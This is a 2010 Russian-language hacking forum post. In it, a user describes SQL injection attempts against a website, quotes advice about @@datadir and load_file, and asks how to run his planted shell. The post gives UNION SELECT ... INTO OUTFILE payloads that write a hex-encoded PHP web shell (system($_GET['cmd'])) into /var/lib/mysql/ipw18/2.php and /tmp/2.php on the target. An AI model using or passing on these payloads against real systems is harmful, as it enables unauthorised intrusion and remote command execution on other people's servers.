Показать сообщение отдельно

  #8  
Старый 19.05.2010, 22:11
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
С нами: 9370904

Репутация: -4
По умолчанию

Цитата:
Сообщение от Iceangel_  
да


@@datadir


прочитать этот файл через load_file




P.S. Я на все твои вопросы ответил, ответь на 1 мой. Сколько нужно курить, чтобы составить этот запрос?
Спасибо..

Посидел почитал ... понял что за бред написал ( Буду курить менче )

Воспользовался советами :

Чтобы не париться отвечу что в /var/lib/mysql/ipw18/www/ нельзя делать запись

Попробовал залить в категорию :/var/lib/mysql/ipw18/
следующим образам

6+union+select+0x3c3f7068702073797374656d28245f474 5545b5c27636d645c275d293b203f3e+into+outfile+'/var/lib/mysql/ipw18/2.php'+--+

На что мне ругнулся сайт, значит всё норм ....
теперь не могу догнать как его прочесть ?
пробовал www.site.com/2.php?cmd=dir .. но нифига



Решил попробовать пойти другим путем:

union+select+0x3c3f7068702073797374656d28245f47455 45b5c27636d645c275d293b203f3e+into+outfile+'/tmp/2.php'+--+

здесь тодзе вопрос, ww.site.com/????? (нужна cmd)


Народ я хоть в правильном направление двигаюсь ?

Последний раз редактировалось Saiga; 19.05.2010 в 22:14..
 
Ответить с цитированием